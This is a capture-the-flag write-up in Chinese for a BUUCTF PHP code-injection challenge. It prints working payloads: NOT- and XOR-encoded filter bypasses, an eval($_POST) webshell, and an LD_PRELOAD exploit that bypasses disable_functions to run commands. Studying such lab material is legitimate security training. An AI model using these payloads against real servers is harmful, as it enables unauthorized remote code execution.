0
点赞
收藏
分享

微信扫一扫

BUUCTF:[极客大挑战 2019]RCE ME

DT_M 2023-06-19 阅读 76


BUUCTF:[极客大挑战 2019]RCE ME_上传


这题和我这篇文章内容相关:关于PHP正则的一些绕过方法 绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,我上面那篇文章里面的也可以,我这里直接用取反urlencode编码绕过

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"                                      
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator> 

payload: ?code=(~%8F%97%8F%96%91%99%90)();

成功绕过之后发现,这个disable_functions禁用的系统函数有点多

BUUCTF:[极客大挑战 2019]RCE ME_php_02

禁用的函数:
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,
exec,
shell_exec,
popen,proc_open,
passthru,
symlink,
link,
syslog,
imap_open,ld,dl

先构造一个shell连上蚁剑

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
 ?>

BUUCTF:[极客大挑战 2019]RCE ME_php_03


payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

检验shell有效

BUUCTF:[极客大挑战 2019]RCE ME_上传_04


上蚁剑

BUUCTF:[极客大挑战 2019]RCE ME_php_05


BUUCTF:[极客大挑战 2019]RCE ME_上传_06


需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell,所以这里需要绕过这个disable_functions执行命令

利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403EXP地址

在/var/tmp/目录存在上传权限,上传我们的exp

BUUCTF:[极客大挑战 2019]RCE ME_正则_07


然后需要重新再构造一下payload,我这就直接用网上的异或payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

BUUCTF:[极客大挑战 2019]RCE ME_上传_08


即为

?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])

包含我们的exp执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

执行得到flag

BUUCTF:[极客大挑战 2019]RCE ME_php_09


举报

相关推荐

0 条评论